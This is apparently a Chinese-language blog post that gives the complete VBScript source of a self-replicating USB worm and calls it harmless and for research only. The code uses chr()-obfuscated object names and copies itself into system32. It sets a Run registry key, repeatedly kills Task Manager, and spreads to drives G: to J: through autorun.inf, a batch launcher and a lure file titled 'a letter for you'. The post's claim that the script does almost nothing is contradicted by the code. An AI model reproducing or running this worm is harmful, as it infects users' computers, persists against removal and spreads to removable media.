能自我复制的脚本病毒

这个“病毒”没有什么危害，只是它会自我复制，除了占用4KB的磁盘空间以外基本上啥也不干，也只靠U盘传播，是一个可以拿来做研究学习的脚本。不过只要是会传染，就是病毒，因此，请不要把它拿去干坏事（估计这个“病毒”根本不能传播，谁会那么蠢去点击一个来历不名的文件呢？再说了，不用杀软，一条命令就可以轻松搞定），仅供技术研究参考之用途！

================================ALFU.vbs=========================================

on error resume next

dim i,x,vbsc,pan,bye,k

bye=0

k=0

set fs=createobject(chr(115)&"crip"&chr(116)&"ing"&chr(46)&chr(102)&"iles"&chr(121)&"ste"&chr(109)&chr(111)&"bj"&chr(101)&"ct")

set sh=createobject("w"&chr(115)&"cript.shell")

i=wscript.scriptfullname

set txt=fs.opentextfile(i)

vbsc=txt.readall

txt.close

if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then

set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)

text.write vbsc

text.close

end if

sh.run "c:\windows\system32\ALFU.vbs"

pan= fs.getdrivename(i)

if not pan="C:" then

set m=fs.getfile(i)

m.delete(true)

bye=1

set m=nothing

end if

do

wscript.sleep 1000

if sh.appactivate("Windows 任务管理器") then

wscript.sleep 100

sh.sendkeys "%{F4}"

end if

if fs.driveexists("G:") then

if not fs.fileexists("G:\给你的一封信.vbs") then

set bt=fs.createtextfile("G:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 给你的一封信.vbs"

bt.close

if fs.folderexists("G:\Autorun.inf") then

sh.run "ren G:\autorun.inf G:\aoturun.inf"

end if

set atc=fs.createtextfile("G:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("G:\给你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.driveexists("H:") then

if not fs.fileexists("H:\给你的一封信.vbs") then

set bt=fs.createtextfile("H:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 给你的一封信.vbs"

bt.close

if fs.folderexists("H:\Autorun.inf") then

sh.run "ren H:\autorun.inf H:\aoturun.inf"

end if

set atc=fs.createtextfile("H:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("H:\给你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.driveexists("I:") then

if not fs.fileexists("I:\给你的一封信.vbs") then

set bt=fs.createtextfile("I:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 给你的一封信.vbs"

bt.close

if fs.folderexists("I:\Autorun.inf") then

sh.run "ren I:\autorun.inf I:\aoturun.inf"

end if

set atc=fs.createtextfile("I:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("I:\给你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.driveexists("J:") then

if not fs.fileexists("J:\给你的一封信.vbs") then

set bt=fs.createtextfile("J:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 给你的一封信.vbs"

bt.close

if fs.folderexists("J:\Autorun.inf") then

sh.run "ren J:\autorun.inf J:\aoturun.inf"

end if

set atc=fs.createtextfile("J:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("J:\给你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then

set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)

text.write vbsc

text.close

end if

sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ALFU","c:\windows\system32\ALFU.vbs"

if bye=1 then

exit do

end if

k=k+1

loop